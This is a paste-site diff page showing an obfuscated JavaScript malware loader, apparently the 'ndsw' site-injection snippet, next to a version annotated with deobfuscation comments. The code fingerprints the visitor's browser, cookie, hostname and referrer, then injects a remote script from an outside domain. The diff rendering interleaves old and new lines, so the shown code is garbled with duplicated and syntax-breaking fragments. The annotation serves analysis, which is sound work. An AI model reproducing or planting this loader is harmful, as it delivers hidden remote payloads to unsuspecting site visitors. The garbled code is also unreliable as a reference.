Re: Malware JS

From eeew, 3 Years ago, written in JavaScript, viewed 356 times. This paste is a reply to Malware JS from Crys - go back
URL https://paste.godclan.hu/view/SBYiE3ZZ/diff Embed
Viewing differences between Malware JS and Re: Malware JS
;
var a = ['text/javascript', ')njosirthalcfoml5', [
    'text/javascript',
    ')njosirthalcfoml5',
    
'length', 'trderrnrme1fze6r(', 'trderrnrme1fze6r(',
    
'script', 'abs', 'parentNode', 'parentNode',
    
'getElementsByTagName', 't=ha5mytou5_p_d', '5mgrfokf7tma7l!pp', 'type', 'async', 'oe3m6axnwt8s5omh7', 'jfjOcxieyd2njif', 'createElement', 'while', 'insertBefore'];
't=ha5mytou5_p_d',
    '5mgrfokf7tma7l!pp',
    'type',
    'async',
    'oe3m6axnwt8s5omh7',
    'jfjOcxieyd2njif',
    'createElement',
    'while',
    'insertBefore'
];
(function(b, e) {
    var f = function(g) {
        while (--g) {
            b['push'](b['shift']());
        }
    };
    f(++e);
}(a, 0x12b));
/*
a = 
    ?0: "type"
    ?1: "async"
    ?2: "oe3m6axnwt8s5omh7"
    ?3: "jfjOcxieyd2njif"
    ?4: "createElement"
    ?5: "while"
    ?6: "insertBefore"
    ?7: "text/javascript"
    ?8: ")njosirthalcfoml5"
    ?9: "length"
    ?10: "trderrnrme1fze6r("
    ?11: "script"
    ?12: "abs"
    ?13: "parentNode"
    ?14: "getElementsByTagName"
    ?15: "t=ha5mytou5_p_d"
    ?16: "5mgrfokf7tma7l!pp"
*/
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    return e;
};
var _cs = ['3tqnjerg4Akriews)ue', b('0xb'), b('0x10'), [
    '3tqnjerg4Akriews)ue',
    b('0xb'),
    b('0x10'),
    
'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp', b('0x5'), b('0x3'), b('0xa'), b('0x8'), 'get', 'fejiekzokovce', b('0xf'), b('0x2'), b('0xc'), b('0x7')];
vcqiql0bmu4p1/)/p:isuprt)tzhp',
    b('0x5'),
    b('0x3'),
    b('0xa'),
    b('0x8'),
    'get',
    'fejiekzokovce',
    b('0xf'),
    b('0x2'),
    b('0xc'),
    b('0x7')
];
/*
_cs = 
    0: "3tqnjerg4Akriews)ue"
    ?1: "script"
    ?2: "5mgrfokf7tma7l!pp"
    ?3: "vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp"
    ?4: "while"
    ?5: "jfjOcxieyd2njif"
    ?6: "trderrnrme1fze6r("
    ?7: ")njosirthalcfoml5"
    ?8: "get"
    ?9: "fejiekzokovce"
    ?10: "t=ha5mytou5_p_d"
    ?11: "oe3m6axnwt8s5omh7"
    ?12: "abs"
    ?13: "text/javascript"

*/
if (ndsw === undefined) {
    var ndsw = true;
    (function() {
        var c = navigator;
        var d = document;
        var e = screen;
        var f = window;
        var g = c[m(_cs[0x0])];
        
navigator[m(_cs[0x0])]; // navigator.userAgent
        
var h = c[m(_cs[0x2])];
        
navigator[m(_cs[0x2])]; // navigator.platform
        
var i = d[m(_cs[0x9])];
        
document[m(_cs[0x9])]; // document.cookie
        
var j = f[m(_cs[0x7])][m(_cs[0xb])];
        
window[m(_cs[0x7])][m(_cs[0xb])]; // document.location.hostname
        
var k = d[m(_cs[0x6])];
        
document[m(_cs[0x6])]; // document.referrer
        
if (k && !n(k, j)) j) /* document.referrer !contains hostname */) {
            if (!n(i, m(_cs[0xa]))) m(_cs[0xa])) /* document.cookie !contains '__utma=' */) {
                var c = d[b('0x4')](_cs[0x1]);
                
document[b('0x4')](_cs[0x1]); // document.createElement('script')
                
c[b('0x0')] = _cs[0xd];
                
_cs[0xd]; // c.type = "text/javascript"
                
c[b('0x1')] = !![];
                
!![]; // c.async = true
                
c['src'] = m(_cs[0x3]);
                
m(_cs[0x3]); // "https://public.clickstat360.com/ui_node.js?cid=240&v=827ccb0eea8a706c4c34a16891f84e7b"
                
var l = d[b('0xe')](_cs[0x1])[0x0];
                
document[b('0xe')](_cs[0x1])[0x0]; // document.getElementsByTagName('script')[0]
                
l[b('0xd')][b('0x6')](c, l);
l); // l.parentNode.insertBefore(c, l)
            }
        }

        function m(p) {
            var q = '';
            for (var r = 0x0; r < p[b('0x9')]; r++) {
                if (r % 0x2 === 0x1) q += p[r];
            }
            q = o(q);
            return q;
        }

        function n(p, q) {\n            return p[m(_cs[0x5])](q) !== -0x1;\n        }\n\n        function o(p) {
            var q = '';
            for (var r = p[b('0x9')] - 0x1; r >= 0x0; r--) {
                q += p[r];
            }
            return q;
        }

        function n(p, q) { // contains:  (p.indexOf !== -1)
            return p[m(_cs[0x5])](q) !== -0x1;
        }
    }());
}

Replies to Re: Malware JS rss

Title Name Language When
Malware JS lvl2 eeew javascript 3 Years ago.

Reply to "Re: Malware JS"

Here you can reply to the paste above